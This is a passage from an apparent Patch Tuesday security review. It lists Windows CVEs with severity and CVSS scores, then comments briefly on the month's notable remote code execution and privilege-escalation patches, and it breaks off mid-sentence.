No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the 